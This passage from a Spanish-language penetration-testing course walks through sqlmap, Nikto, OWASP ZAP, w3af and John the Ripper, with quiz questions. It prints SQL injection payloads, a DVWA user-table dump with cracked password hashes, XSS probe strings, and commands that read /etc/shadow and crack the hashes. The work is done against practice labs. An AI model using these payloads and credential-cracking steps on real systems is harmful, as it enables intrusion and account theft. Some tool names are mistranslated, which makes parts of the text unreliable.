Tipo: A ciegas basado en tiempo Y/O
Título: MySQL >= 5.0.12 O bloqueo basado en tiempo
Carga útil: id=omar' O SLEEP( 5)-- dxIW&Submit=Enviar
Tipo: Consulta UNION
Título: Consulta UNION de MySQL (NULL) - 2 columnas
Carga útil: id=omar' UNION ALL SELECT CONCAT( 0x7162717871,0x6a475
2487050494664786251457769674b666b4f7456684375
6e766764785546795679694159677a, 0x716a717671), NULL#&Submit=Submit
---
[21:50:22] [INFO] El sistema de gestión de bases de datos (DBMS) de backend es
MySQL.
Sistema operativo del servidor web: Linux Ubuntu 8.04 (Hardy Heron)
Tecnología de la aplicación web: PHP 5.2.4, Apache 2.2.8
Sistema de gestión de bases de datos (DBMS) de back-end: MySQL >= 4.1
[21:50:22] [INFO] Obteniendo nombres de la base de datos
bases de datos disponibles [7]:
[*] dvwa
[*] esquema_de_información

57
[*] Metasploit
[*] MySQL
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
[21:50:22] [INFO] Datos recuperados registrados en archivos de texto en '/root/.
sqlmap/output/[Link]'
[*] Apagando a las 21:50:22
Las primeras cuatro líneas resaltadas en el Ejemplo 10-16 muestran cómo SQLmap
automatiza las diversas pruebas y cargas útiles enviadas a la aplicación vulnerable. (Es
posible que reconozca algunas de estas sentencias y consultas SQL del Módulo 6). Las
últimas líneas resaltadas muestran cómo SQLmap logró enumerar todas las bases de
datos del servidor SQL.
Cuando tenga una lista de todas las bases de datos disponibles, puede intentar
recuperar las tablas y los registros de la base de datos dvwa utilizando el comando que
se muestra en el Ejemplo 10-17.
Ejemplo 10-17 - Recuperación de información confidencial de una base de datos
root@ kali:~ # sqlmap -u "[Link]
id=omar&Submit=Submit" --cookie="security=low;
PHPSESSID=1558e11b491da91be3b68e5cce953ca4" -D dvwa --dump-all
___
...
<salida omitida por brevedad>
...
[22:14:51] [INFO] Reanudando el DBMS de backend 'mysql'
[22:14:51] [INFO] Probando la conexión con la URL de destino
sqlmap reanudó los siguientes puntos de inyección desde la sesión almacenada:
---
Parámetro: id (GET)
Tipo: ciego basado en booleanos
Título: Cláusula ciega OR basada en booleanos - WHERE o HAVING (MySQL)
comentario) (NO)
Carga útil: id=omar' O NO 3391=3391#&Enviar=Enviar
Tipo: basado en errores
Título: MySQL >= 4.1 OR basado en errores - Cláusula WHERE o HAVING
(PISO)
Carga útil: id=omar' O FILA( 5759,9381)>(SELECT COUNT(*),
CONCAT( 0x7162717871,(SELECT (ELT(5759=5759,1))),0x716a717671,FLOOR
( RAND( 0)*2))x FROM (SELECT 5610 UNION SELECT 4270 UNION SELECT 5009
UNION SELECT 5751)a GROUP BY x)-- AxAS&Submit=Submit
Tipo: A ciegas basado en tiempo Y/O
Título: MySQL >= 5.0.12 O bloqueo basado en tiempo
Carga útil: id=omar' O SLEEP( 5)-- dxIW&Submit=Enviar
Tipo: Consulta UNION
Título: Consulta UNION de MySQL (NULL) - 2 columnas
Carga útil: id=omar' UNION ALL SELECT CONCAT( 0x7162717871,0x6a475248705
0494664786251457769674b666b4f74566843756e766764785546795679694159677a,

58
0x716a717671 ),NULL #&Submit=Enviar
---
[22:14:52] [INFO] El sistema de gestión de bases de datos (DBMS) de backend es
MySQL.
Sistema operativo del servidor web: Linux Ubuntu 8.04 (Hardy Heron)
Tecnología de la aplicación web: PHP 5.2.4, Apache 2.2.8
Sistema de gestión de bases de datos (DBMS) de back-end: MySQL >= 4.1
[22:14:52] [INFO] Obteniendo tablas de la base de datos: 'dvwa'
[22:14:52] [ADVERTENCIA] Se encontraron valores reflectivos y se están filtrando.
[22:14:52] [INFO] Obteniendo columnas para la tabla 'users' en la base de datos
'dvwa'
[22:14:52] [INFO] Obteniendo entradas para la tabla 'users' en la base de datos
'dvwa'
[22:14:52] [INFO] Se reconocieron posibles hashes de contraseña en la columna
'contraseña'
...
<salida omitida por brevedad>
...
[22:15:06] [INFO] Iniciando el descifrado basado en diccionario (md5_generic_
contraseña)
[22:15:06] [INFO] Iniciando 2 procesos
[22:15:08] [INFO] Contraseña descifrada 'charley' para hash
'8d3533d75ae2c3966d7e0d4fcc69216b'
[22:15:08] [INFO] Contraseña descifrada 'abc123' para el hash
'e99a18c428cb38d5f260853678922e03'
[22:15:11] [INFO] Contraseña descifrada 'password' para el hash
'5f4dcc3b5aa765d61d8327deb882cf99'
[22:15:13] [INFO] Contraseña descifrada 'letmein' para el hash
'0d107d09f5bbe40cade3de5c71e9e9b7'
Base de datos: dvwa
Tabla: usuarios
[5 entradas]
+---------+--------+--------------------------------------------------
----+---------------------------------------------+-----------+-------
------+
| id_usuario | usuario | avatar | contraseña | apellido | nombre |
+---------+---------+-------------------------------------------------
------+---------------------------------------------+-----------+-----
-----------+
| 1 | administrador | [Link] |
5f4dcc3b5aa765d61d8327deb882cf99 (contraseña) | admin | admin |
| 2 | gordonb | [Link] |
e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon |
| 3 | 1337 | [Link] |
8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Yo | Hack |
| 4 | pablo | [Link] |
0d107d09f5bbe40cade3de5c71e9e9b7 (déjame entrar) | Picasso | Pablo |

59
| 5 | smithy | [Link]
5f4dcc3b5aa765d61d8327deb882cf99 (contraseña) | Smith | Bob |
+---------+---------+-------------------------------------------------
------+---------------------------------------------+-----------+-----
----------+
[22:15:17] [INFO] La tabla ' [Link] ' se ha volcado al archivo CSV '/root/.
sqlmap/output/[Link]/dump/dvwa/[Link]'
[22:15:17] [INFO] Obteniendo columnas para la tabla 'guestbook' en la base de datos
'dvwa'
[22:15:17] [INFO] Obteniendo entradas para la tabla 'guestbook' en la base de datos
'dvwa'
Base de datos: dvwa
Mesa: libro de visitas
[1 entrada]
+------------+------+-------------------------+
| id_comentario | nombre | comentario |
+------------+------+-------------------------+
| 1 | prueba | Este es un comentario de prueba. |
+------------+------+-------------------------+
[22:15:17] [INFO] La tabla ' [Link] ' se ha volcado al archivo CSV '/root/.
sqlmap/output/[Link]/dump/dvwa/[Link]'
[22:15:17] [INFO] Datos recuperados registrados en archivos de texto en '/root/.
sqlmap/output/[Link]'
[*] Apagando a las 22:15:17
Las primeras cuatro líneas resaltadas en el Ejemplo 10-17 muestran cómo SQLmap pudo
enumerar automáticamente los usuarios de la base de datos comprometida y descifrar sus
contraseñas. El resto de las líneas resaltadas muestran el contenido (registros) de las dos
tablas de la base de datos (usuarios y libro de visitas).
CONSEJO: Puedes practicar tus habilidades de pruebas de penetración utilizando
herramientas como SQLmap contra aplicaciones vulnerables. El repositorio de GitHub
de The Art of Hacking incluye una lista de servidores y aplicaciones vulnerables que
puedes descargar y usar para practicar tus habilidades en un entorno seguro; consulta
[Link]
.
En lugar de simplemente ejecutar herramientas contra aplicaciones vulnerables,
intente leer los mensajes de depuración y comprender qué hace la herramienta. Por
ejemplo, en los ejemplos 10-16 y 10-17, puede ver las diferentes instrucciones SQL que
se envían a la aplicación vulnerable y, posteriormente, al servidor SQL.
NOTA: Puede obtener acceso al código fuente de SQLmap y a documentación adicional
en el siguiente repositorio de GitHub: [Link] .
Nikto
Nikto es un escáner de vulnerabilidades web de código abierto que se puede descargar
desde [Link] . La documentación oficial de Nikto está
disponible en [Link] . El ejemplo 10-18 muestra las primeras
líneas de la página del manual de Nikto.
Ejemplo 10-18 - Página de manual de Nikto
NOMBRE

60
nikto - Analiza el servidor web en busca de vulnerabilidades conocidas
SINOPSIS
/usr/local/bin/nikto [opciones...]
DESCRIPCIÓN
Examine un servidor web para detectar posibles problemas y medidas de seguridad.
vulnerabilidades, entre ellas:
· Configuraciones erróneas del servidor y del software
• Archivos y programas predeterminados
· Archivos y programas inseguros
· Servidores y programas obsoletos
Nikto está basado en LibWhisker (por RFP) y puede ejecutarse en cualquier
plataforma.
que cuenta con un entorno Perl. Admite SSL, proxies y host.
Autenticación, evasión de IDS y más. Se puede actualizar automáticamente.
desde la línea de comandos, y admite el envío opcional de actualizaciones
Devolvemos los datos de la versión a los responsables del mantenimiento.
El ejemplo 10-19 muestra cómo se puede usar Nikto para escanear una aplicación web
alojada en [Link].
Ejemplo 10-19 - Uso de Nikto para escanear una aplicación web
raíz@ kali:~ # nikto -host [Link]
- Nikto v2.1.6
----------------------------------------------------------------------
+ IP de destino: [Link]
+ Nombre de host de destino: [Link]
+ Puerto de destino: 80
+ Hora de inicio: 23/06/2018 22:43:36 (GMT-4)
----------------------------------------------------------------------
+ Servidor: Apache/2.2.8 (Ubuntu) DAV/2
+ Se recuperó la cabecera x-powered-by: PHP/5.2.4-2ubuntu5.10
+ No está presente el encabezado X-Frame-Options anti-clickjacking.
+ La cabecera X-XSS-Protection no está definida. Esta cabecera puede indicar
el agente de usuario para proteger contra algunas formas de XSS
+ No se ha configurado la cabecera X-Content-Type-Options. Esto podría permitir
agente de usuario para renderizar el contenido del sitio de una manera diferente
al tipo MIME
+ Apache/2.2.8 parece estar desactualizado (la versión actual es al menos
Apache/2.4.12). Apache 2.0.65 (versión final) y 2.2.29 también lo son.
actual.
+ Se ha encontrado la cabecera poco común 'tcn', con el siguiente contenido: lista
+ Apache mod_negotiation está habilitado con MultiViews, lo que permite
Los atacantes pueden descifrar fácilmente los nombres de archivo por fuerza bruta.
Véase [Link]
[Link]?id=4698ebdc59d15. Las siguientes son alternativas para 'index'
Se encontró: [Link]
El servidor web devuelve una respuesta válida con métodos HTTP no válidos.
puede provocar falsos positivos.

61
+ OSVDB-877: El método HTTP TRACE está activo, lo que sugiere que el host es
vulnerable a XST
+ /[Link]?VARIABLE=<script>alert('Vulnerable ') </script>: Salida
Se encontró la función phpinfo( ).
+ OSVDB-3268: /doc/: Se ha encontrado un índice de directorio.
+ OSVDB-48: /doc/: El directorio /doc/ es navegable. Esto puede ser /
usuario/doc.
+ OSVDB-12184: /?= PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP revela
información potencialmente sensible a través de ciertas solicitudes HTTP que
Contienen cadenas de consulta específicas.
+ OSVDB-12184: /?= PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP revela
información potencialmente sensible a través de ciertas solicitudes HTTP que
Contienen cadenas de consulta específicas.
+ OSVDB-12184: /?= PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP revela
información potencialmente sensible a través de ciertas solicitudes HTTP que
Contienen cadenas de consulta específicas.
+ OSVDB-12184: /?= PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP revela
información potencialmente sensible a través de ciertas solicitudes HTTP que
Contienen cadenas de consulta específicas.
+ OSVDB-3092: /phpMyAdmin/[Link]: phpMyAdmin sirve para administrar
Las bases de datos MySQL deben estar protegidas o limitadas al acceso autorizado.
anfitriones.
+ El servidor filtra inodos a través de ETags; se ha encontrado una cabecera en el
archivo /phpMyAdmin/
Registro de cambios, inodo: 92462, tamaño: 40540, fecha de modificación: martes, 9
de diciembre de 2008, 12:24:00
+ OSVDB-3092: /phpMyAdmin/ChangeLog: phpMyAdmin sirve para administrar
MySQL
las bases de datos, y deben estar protegidas o limitadas a hosts autorizados.
+ OSVDB-3268: /test/: Se ha encontrado un índice de directorio.
+ OSVDB-3092: /test/: Esto podría ser interesante...
+ /[Link]: Se encontró la salida de la función phpinfo( ).
+ OSVDB-3233: /[Link]: PHP está instalado y hay un script de prueba que
el comando `phpinfo( )`. Este proporciona mucha información del sistema.
+ OSVDB-3268: /icons/: Se ha encontrado un índice de directorio.
+ /[Link]? GLOBALS[ test]=<script>alert([Link]);</script>:
Se encontró la salida de la función phpinfo( ).
+ /[Link]? cx[ ]=IOzakRqlfmAcDXV97rNweHX81i
3EERZyB9QwbErBo KuXBfztr0JwhnvhOXnXjdBB5bXkfIz
5Iwj5CXlPe4CnYKRMsjiGPRSXfgqsokk7wrFaUWpCL QKjcPLbJDxIFik6KhmGyZaF5
...
<salida omitida por brevedad>
...
<script>alert(foo)</script>: La salida de la función phpinfo( ) fue
encontró.
+ OSVDB-3233: /icons/README: Se encontró el archivo predeterminado de Apache.
+ /phpMyAdmin/: Se encontró el directorio phpMyAdmin

62
+ OSVDB-3092: /phpMyAdmin/[Link]: phpMyAdmin
Se utiliza para gestionar bases de datos MySQL y debe protegerse o limitarse.
a los hosts autorizados.
+ 8329 solicitudes: 0 errores y 29 elementos reportados en el host remoto
+ Hora de finalización: 2018-06-23 22:44:07 (GMT-4) (31 segundos)
---------------------------------------------
----------------------------
+ 1 host(s) probado(s)
Puedes automatizar el escaneo de múltiples hosts usando Nmap y Nikto en conjunto.
Por ejemplo, puedes escanear la subred [Link]/24 con Nmap y luego enviar los
resultados a Nikto, como se muestra en el Ejemplo 10-20.
Ejemplo 10-20: Combinar Nmap y Nikto para escanear una subred completa
raíz@ kali:~ # nmap -p 80 [Link]/24 -oG - | nikto -h-
- Nikto v2.1.6
----------------------------------------------------------------------
+ Entrada de nmap en cola: [Link]:80
+ Entrada de nmap en cola: [Link]:80
+ Entrada de nmap en cola: [Link]:80
+ IP de destino: [Link]
+ Nombre de host de destino: [Link]
+ Puerto de destino: 80
+ Hora de inicio: 23/06/2018 22:56:15 (GMT-4)
<salida omitida por brevedad>
+ 22798 solicitudes: 0 errores y 29 elementos reportados en el host remoto
+ Hora de finalización: 23/06/2018 22:57:00 (GMT-4) (30 segundos)
----------------------------------------------------------------------
+ 3 hosts probados
Proxy de ataque Zed de OWASP (ZAP)
Según OWASP, OWASP Zed Attack Proxy (ZAP) es una de las herramientas de seguridad
gratuitas más populares del mundo y cuenta con el mantenimiento activo de cientos
de voluntarios internacionales. Numerosos ingenieros de seguridad ofensiva y
defensiva de todo el mundo utilizan ZAP, que no solo ofrece capacidades de escaneo
de vulnerabilidades web, sino que también puede usarse como un proxy web
avanzado. ZAP incluye una API y también puede utilizarse como fuzzer. Puede
descargarlo y obtener más información sobre OWASP ZAP en
[Link] .
La figura 10-16 muestra un escaneo activo contra un servidor web con dirección IP
[Link].
La figura 10-17 muestra algunos de los resultados del escaneo. La vulnerabilidad
resaltada en la figura 10-17 es una vulnerabilidad de recorrido de directorios. ZAP
también detectó numerosas vulnerabilidades adicionales. ZAP Spider descubre
automáticamente las URL del sitio que se está probando. Comienza con una lista de
URL para visitar, denominadas «semillas». A continuación, ZAP Spider intenta acceder
a estas URL, identifica todos los hipervínculos de la página y los añade a la lista de URL
para visitar; el proceso continúa de forma recursiva mientras se encuentren nuevos
recursos. Durante el procesamiento de una URL, ZAP Spider realiza una solicitud para
acceder a un recurso y, posteriormente, analiza la respuesta.

63
Figura 10-16 - Escaneo de una aplicación web mediante OWASP ZAP

Figura 10-17 - Resultados del escaneo de vulnerabilidades de OWASP ZAP

w3af
Otro escáner de vulnerabilidades de aplicaciones web de código abierto muy popular
es w3af. w3af se puede descargar desde [Link] y su documentación se
puede obtener en [Link] .
El ejemplo 10-21 muestra el menú de ayuda de la consola w3af.
Ejemplo 10-21 - El menú de ayuda de la consola w3af
w3af>>> ayuda

64
|-----------------------------------------------------------------------|
| inicio | Inicie el escaneo.
|
| complementos | Habilitar y configurar complementos
|
| explotar | Explotar la vulnerabilidad
|
| perfiles | Lista y utiliza perfiles de escaneo.
|
| limpieza | Limpieza antes de iniciar un nuevo escaneo.
|
|---------------------------------------------------------------------|
| ayuda | Al ejecutar: help [comando], se imprime más
específico
ayuda sobre "comando"
|
| versión | Mostrar información de la versión de w3af.
|
| teclas | Mostrar accesos directos de teclas.
|
|---------------------------------------------------------------------|
| http-settings | Configurar los ajustes HTTP de
estructura.
|
| Configuración miscelánea | Configurar la configuración miscelánea de w3af.
|
| destino | Configure la URL de destino.
|
|---------------------------------------------------------------------|
| atrás | Ir al menú anterior.
|
| salida | Salir w3af.
|
|---------------------------------------------------------------------|
| kb | Explore las vulnerabilidades almacenadas en el
Base de conocimientos
|
|---------------------------------------------------------------------|
La herramienta w3af cuenta con un menú de complementos que permite configurar y
habilitar complementos como mangle, crawl, bruteforce, audit y otros. El ejemplo 10-
22 muestra el menú de ayuda de complementos de w3af.
Ejemplo 10-22 - El menú de ayuda de los complementos de w3af
w3af>>> complementos
w3af/plugins>>> ayuda
|---------------------------------------------------------------------|
| lista | Lista de plugins disponibles.
|

65
|---------------------------------------------------------------------|
| atrás | Ir al menú anterior.
|
| salida | Salir w3af.
|
|---------------------------------------------------------------------|
| mangle | Ver, configurar y habilitar los plugins de mangle
|
| rastreo | Ver, configurar y habilitar complementos de rastreo
|
| Fuerza bruta | Ver, configurar y habilitar complementos de fuerza bruta
|
| auditoría | Ver, configurar y habilitar complementos de auditoría
|
| Salida | Ver, configurar y habilitar complementos de salida
|
| evasión | Ver, configurar y habilitar complementos de evasión
|
| infraestructura | Ver, configurar y habilitar complementos de infraestructura
|
| autenticación | Ver, configurar y habilitar complementos de autenticación
|
| grep | Ver, configurar y habilitar complementos de grep
|
|-------------------------------------------------------------------|
w3af/plugins>>>
Cuando se encuentre en el modo de complementos, puede usar el comando list audit
para listar todos los complementos de auditoría disponibles, como se muestra en el
Ejemplo 10-23. También puede hacer esto para cualquier otra categoría de
complementos.
Ejemplo 10-23 - El comando de auditoría de lista w3af
w3af/plugins>>> lista de auditoría
|---------------------------------------------------------------------|
| Nombre del plugin | Estado | Configuración | Descripción
|
|---------------------------------------------------------------------|
| blind_sqli | | Sí | Identificar inyección SQL ciega |
vulnerabilidades.
|
| desbordamiento de búfer | | | Detectar desbordamiento de búfer
vulnerabilidades.
|
| origen_cors | | Sí | Inspeccionar si la aplicación realiza comprobaciones
que el valor del encabezado HTTP "Origin" sea consistente con el |
| | | | valor de la dirección IP remota/
Servidor del remitente de la solicitud HTTP entrante. |

66
| csrf | | | Identificar solicitud entre sitios
Vulnerabilidades a la falsificación.
|
| dav | | | Verifique si el módulo WebDAV está
Configurado correctamente.
|
| eval | | Sí | Detectar uso inseguro de eval( ).
|
| subir_archivo | | Sí | Sube un archivo y luego busca
para el archivo dentro de todos los directorios conocidos.
| cadena_de_formato | | | Buscar cadena de formato
vulnerabilidades.
|
| página principal | | | Intenta subir un archivo usando
Extensiones de la página principal ([Link]).
|
| genérico | | Sí | Encuentra todo tipo de errores sin
utilizando una base de datos fija de errores.
|
| global_redirect | | | Encuentra scripts que redirigen el
Navegador a cualquier sitio.
|
| htaccess_methods | | | Buscar configuraciones erróneas en
Configuración "<LIMIT>" de Apache.
|
| ldapi | | | Encuentra errores de inyección LDAP.
|
| lfi | | | Buscar inclusión de archivos locales
vulnerabilidades.
|
| memcachei | | | No hay descripción disponible para
Este plugin.
|
| inyección_mx | | | Buscar inyección MX
vulnerabilidades.
|
| comandos_os | | | Buscar comandos del sistema operativo
vulnerabilidades.
|
| vector_phishing | | | Encuentra vectores de phishing.
|
| preg_replace | | | Detectar usos inseguros de PHP
preg_reemplazar.
|

67
| rehacer | | | Buscar rehacer
vulnerabilidades.
|
| división_de_respuesta | | | Buscar división de respuesta
vulnerabilidades.
|
| rfd | | | Identificar archivo reflejado
vulnerabilidades de descarga.
|
| rfi | | Sí | Buscar archivo remoto
vulnerabilidades de inclusión.
|
| trastorno de estrés postraumático | | | Buscar trastorno de estrés postraumático
vulnerabilidades.
|
| sqli | | | Encuentra vulnerabilidades de inyección SQL.
|
| ssi | | | Buscar lado del servidor
vulnerabilidades de inclusión.
|
| certificado_ssl | | Sí | Comprobar el certificado SSL
Validez del certificado (si se utiliza https).
|
| un_ssl | | | Averigua si es seguro
El contenido también se puede obtener mediante http.
|
| websocket_ | | | Detectar ataques de sitio cruzado
Vulnerabilidades de secuestro de WebSocket.
|
| xpath | | | Buscar inyección XPATH
vulnerabilidades.
|
| xss | | Sí | Identificar vulnerabilidad de sitio cruzado
vulnerabilidades de scripting.
|
| xst | | | Buscar rastreo de sitios cruzados
vulnerabilidades.
|
|---------------------------------------------------------------------|
El ejemplo 10-24 muestra la herramienta w3af configurada para realizar una auditoría de
inyección SQL contra el servidor web con dirección IP [Link].
Ejemplo 10-24: Iniciar una auditoría de inyección SQL usando w3af
w3af/plugins>>> auditoría sqli
w3af/plugins>>> volver

68
w3af>>> objetivo
w3af/ config:target >>> establecer destino [Link]
w3af/ config:target >>> atrás
La configuración se ha guardado.
w3af>>> inicio
NOTA Para obtener información detallada sobre el uso y la personalización de w3af,
consulte [Link] .
DirBuster
DirBuster es una herramienta diseñada para realizar ataques de fuerza bruta contra
nombres de directorios y archivos en servidores de aplicaciones web. Actualmente,
DirBuster es un proyecto inactivo y su funcionalidad se ha integrado y mejorado en
OWASP ZAP como complemento.
NOTA: DirBuster es una aplicación Java diseñada para realizar un ataque de fuerza
bruta a directorios y nombres de archivo en servidores web/de aplicaciones. A
menudo, lo que parece un servidor web con una instalación predeterminada en
realidad oculta páginas y aplicaciones. DirBuster intenta encontrarlas. Otras dos
alternativas a DirBuster son gobuster ( [Link] ) y ffuf (
[Link] ). Tenga en cuenta que la eficacia de este tipo de
herramientas suele depender de la información de directorios y archivos que incluyen.
10.2.6 Práctica - Herramientas comunes para el escaneo de vulnerabilidades
Pregunta 1
Relacione la herramienta de escaneo de vulnerabilidades con su descripción.

Pregunta 2
El alcance del acuerdo de pruebas de penetración con un cliente incluye el escaneo de
vulnerabilidades de su presencia en la nube. ¿Qué herramienta debería elegir para
este trabajo?
Suite Scout
Vaso abierto
w3af
OWASP ZAP
Pregunta 3
69
Verdadero o falso. w3af es un escáner de vulnerabilidades que también puede realizar
exploits.
Verdadero
FALSO
Pregunta 4
¿Qué herramienta realiza un ataque de fuerza bruta contra directorios y nombres de
archivo en servidores web y de aplicaciones?
Hidra
Mapa SQL
DirBuster
Nikto
Pregunta 5
Estás probando la aplicación web Pixel Paradise en busca de vulnerabilidades de
inyección. ¿Qué herramienta descubrirá estas vulnerabilidades y, además, ejecutará
exploits en las bases de datos subyacentes?
Vaso abierto
Mapa SQL
Nikto
Neso

10.2.7 Herramientas comunes para ataques a credenciales


Las siguientes son algunas de las herramientas más populares que se pueden utilizar
para realizar ataques de fuerza bruta, descifrar y comprometer las credenciales de
usuario:
 Juan el Destripador
 Caín y Abel
 Hashcat
 Hidra
 RainbowGrack
 Medusa y Ncrack
 CeWL
 Mimikatz
 Patator
Juan el Destripador
John the Ripper es una herramienta muy popular para descifrar contraseñas sin
conexión. John the Ripper (o simplemente John) puede usar patrones de búsqueda y
archivos de contraseñas (o listas de palabras) para descifrar contraseñas. Admite
diferentes modos de descifrado y reconoce muchos formatos de texto cifrado,
incluyendo varias variantes de DES, MD5 y Blowfish. John the Ripper no admite AES ni
SHA-2. Para ver la lista de formatos compatibles, puede usar el comando `john --
list=formats`, como se muestra en el Ejemplo 10-25. John the Ripper también se puede

70
usar para extraer contraseñas de Kerberos AFS y Windows. Puede descargar John the
Ripper desde [Link] .
Ejemplo 10-25 - Formatos de texto cifrado compatibles con John el Destripador
omar@ kali:~ $ john --list=formatos
descifrar, bsdicrypt, md5crypt, bcrypt, scrypt, LM, AFS, tripcode, dummy,
dynamic_n, bfegg, dmd5, dominosec, dominosec8, EPI, Fortigate, FormSpring,
has-160, hdaa, ipb2, krb4, krb5, KeePass, MSCHAPv2, mschapv2-naive, mysql,
nethalflm, netlm, netlmv2, netntlm, netntlm-naive, netntlmv2, md5ns, NT, osc,
PHPS, po, skey, SybaseASE, xsha, xsha512, agilekeychain, aix-ssha1,
aix-ssha256, aix-ssha512, asa-md5, Bitcoin, Blackberry-ES10, WoWSRP
Blockchain, chap, Clipperz, cloudkeychain, cq, CRC32, sha1crypt, sha256crypt,
sha512crypt, Citrix_NS10, dahua, Django, django-scrypt, dmg, dragonfly3-32,
dragonfly3-64, dragonfly4-32, dragonfly4-64, Drupal7, eCryptfs, EFS, eigrp,
EncFS, EPiServer, fde, gost, gpg, HAVAL-128-4, HAVAL-256-3, HMAC-MD5,
HMAC-SHA1, HMAC-SHA224, HMAC-SHA256, HMAC-SHA384, HMAC-SHA512,
hMailServer,
hsrp, IKE, llavero, almacén de claves, hosts conocidos, krb5-18, krb5pa-sha1,
kwallet, lp, lotus5, lotus85, LUKS, MD2, md4-gen, mdc2, MediaWiki, MongoDB
Mozilla, mscash, mscash2, krb5pa-md5, mssql, mssql05, mssql12, mysql-sha1,
mysqlna, net-md5, net-sha1, nk, nsldap, o5logon, ODF, Office, oldoffice,
OpenBSD-SoftRAID, openssl-enc, oracle, oracle11, Oracle12C, Panamá,
pbkdf2-hmac-md5, PBKDF2-HMAC-SHA1, PBKDF2-HMAC-SHA256, PBKDF2-HMAC-
SHA512,
PDF, PFX, phpass, pix-md5, texto plano, pomelo, postgres, PST, PuTTY, pwsafe,
RACF, RAdmin, RAKP, rar, RAR5, Raw-SHA512, Raw-Blake2, Raw-Keccak,
Raw-Keccak-256, Raw-MD4, Raw-MD5, Raw-SHA1, Raw-SHA1-LinkedIn, Raw-
SHA224,
Raw-SHA256, Raw-SHA256-ng, Raw-SHA3, Raw-SHA384, Raw-SHA512-ng, Raw-SHA,
Raw-MD5u, ripemd-128, ripemd-160, rsvp, Siemens-S7, Salted-SHA1, SSHA512,
sapb, sapg, saf, 7z, sha1-gen, Raw-SHA1-ng, SIP, ovillo-256, ovillo-512,
aix-smd5, Snefru-128, Snefru-256, LastPass, SSH, SSH-ng, Stribog-256,
Stribog-512, STRIP, SunMD5, sxc, Sybase-PROP, tcp-md5, Tiger, tc_aes_xts,
tc_ripemd160, tc_sha512, tc_whirlpool, VNC, vtp, wbb3, whirlpool, whirlpool0,
whirlpool1, wpapsk, ZIP, NT-old, crypt
omar@ kali:~ $
Veamos un ejemplo rápido de cómo se puede usar John the Ripper para descifrar una
contraseña. Para simplificar, el Ejemplo 10-26 muestra cómo crear tres usuarios en Kali
Linux (chris, ben y ron) y asignarles contraseñas.
Ejemplo 10-26 - Creación de tres usuarios en Linux
root@ kali:~ # useradd -m chris
root@ kali:~ # useradd -m ron
root@ kali:~ # useradd -m ben
root@ kali:~ # passwd chris
Introduzca la nueva contraseña de UNIX: ************

71
Vuelva a escribir la nueva contraseña de UNIX: ************
Contraseña: contraseña actualizada correctamente
root@ kali:~ # passwd ben
Introduzca la nueva contraseña de UNIX: ************
Vuelva a escribir la nueva contraseña de UNIX: ************
Contraseña: contraseña actualizada correctamente
root@ kali:~ # passwd ron
Introduzca la nueva contraseña de UNIX: ************
Vuelva a escribir la nueva contraseña de UNIX: ************
El ejemplo 10-27 muestra el hash de cada uno de los usuarios en el archivo
/etc/shadow. Los hashes se copiaron a un archivo llamado hashes.
Ejemplo 10-27 - Los hashes de las contraseñas de los usuarios
root@ kali:~ # cat /etc/shadow | egrep "chris|ron|ben" > hashes
root@ kali:~ # hashes de gato
Chris:$ 6$PGIpAuSV$XnEENZNMaCG0VXT3KtL8orLWF4j5NbpzcpvcD2WHHup2u
NuovIQ
4Chb4bQbu3pi3pCglxFASD15r/7hLusXa4.:17707:0: 99999:7:::
ron:$ 6$O.1NipMZ$rbNQw2MVQ92qW2Bzq3ZOOKLhI1/pjTG/
nG4tTXvWMgexBSO5agINf4q5HBpYWlWYzXBdqNsNi9HxEssztydNa0:17707:
0:99999:7:::
ben:$ 6$I5Uy6m.6$igEWjio69br27uRLi86LyofpA32K6OK7StxZspikYlLRY
J4Lb5f9mdLK4 kvUc.. mFJ/xrnO4cGi0xDcuUAe4w0:17707:0:99999:7:::
Debido a que hashes es el nombre del archivo creado en el Ejemplo 10-27, puede usar
el comando john hashes para descifrar las contraseñas, como se muestra en el
Ejemplo 10-28.
Ejemplo 10-28 - Descifrando contraseñas con John el Destripador
root@ kali:~ # john hashes
Advertencia: se detectó el tipo de hash "sha512crypt", pero la cadena también es
reconocida como "cripta"
Utilice la opción "--format=crypt" para forzar la carga de estos como ese tipo.
en cambio
Codificación de entrada predeterminada: UTF-8
Se cargaron 3 hashes de contraseña con 3 salts diferentes (sha512crypt, crypt( 3)
$6$ [SHA512 128/128 AVX 2x])
Pulse 'q' o Ctrl-C para cancelar, o casi cualquier otra tecla para consultar el estado.
déjame ( ben)
contraseña ( chris)
secret123 ( ron)
1 g 0:00:00:07 COMPLETADO 2/3 (25/06/2018 11:36) 0,1293 g/s 783,8 p/s 783,8 c/s
Módem 783.8C/s ... Robocop
Utilice la opción "--show" para mostrar todas las contraseñas descifradas.
seguramente
Sesión finalizada
Las tres líneas resaltadas en el Ejemplo 10-28 muestran las contraseñas descifradas de
los usuarios. También puede ver las contraseñas descifradas usando el comando `john
-show hashes` , como se muestra en el Ejemplo 10-29.

72
Ejemplo 10-29 - Mostrando las contraseñas descifradas
root@ kali:~ # john -mostrar hashes
chris:contraseña :17707:0:99999:7:::
ron:secreto 123:17707:0:99999:7:::
ben:déjame :17707:0:99999:7:::
Se han descifrado 3 contraseñas, quedan 0.
CONSEJO: Puede personalizar John the Ripper para crear distintas configuraciones. El
archivo de configuración puede llamarse [Link] en sistemas Unix y Linux, o [Link]
en Windows. Para obtener más información sobre la personalización y los archivos de
configuración de John the Ripper, consulte
[Link] . El archivo de configuración
puede incluir un conjunto de reglas, incluidas reglas sobre el uso de listas de palabras.
La sintaxis de las reglas se puede consultar en
[Link] .
John el Destripador también mantiene un registro en el directorio personal privado del
usuario actual (~ .john ) . A continuación se muestra un ejemplo de algunas líneas del
registro:
root@ kali:~ # [Link]/[Link]
0:00:00:03 - La regla más antigua que aún se utiliza es la número 1079.
0:00:00:03 - Regla #1081: 'l Az"1900" <+' aceptado como 'lAz"1900"<+'
0:00:00:03 - Procesando las contraseñas candidatas restantes almacenadas en búfer,
si las hubiera.
0:00:00:03 Continuando con el modo de lista de palabras
0:00:00:03 - Reglas: Lista de palabras
0:00:00:03 - Archivo de lista de palabras: /usr/share/john/[Link]
0:00:00:03 - 57 reglas de manipulación de palabras preprocesadas
0:00:00:03 - Regla n.º 1: ':' se acepta como ''
0:00:00:07 + Ron agrietado
0:00:00:07 Sesión completada
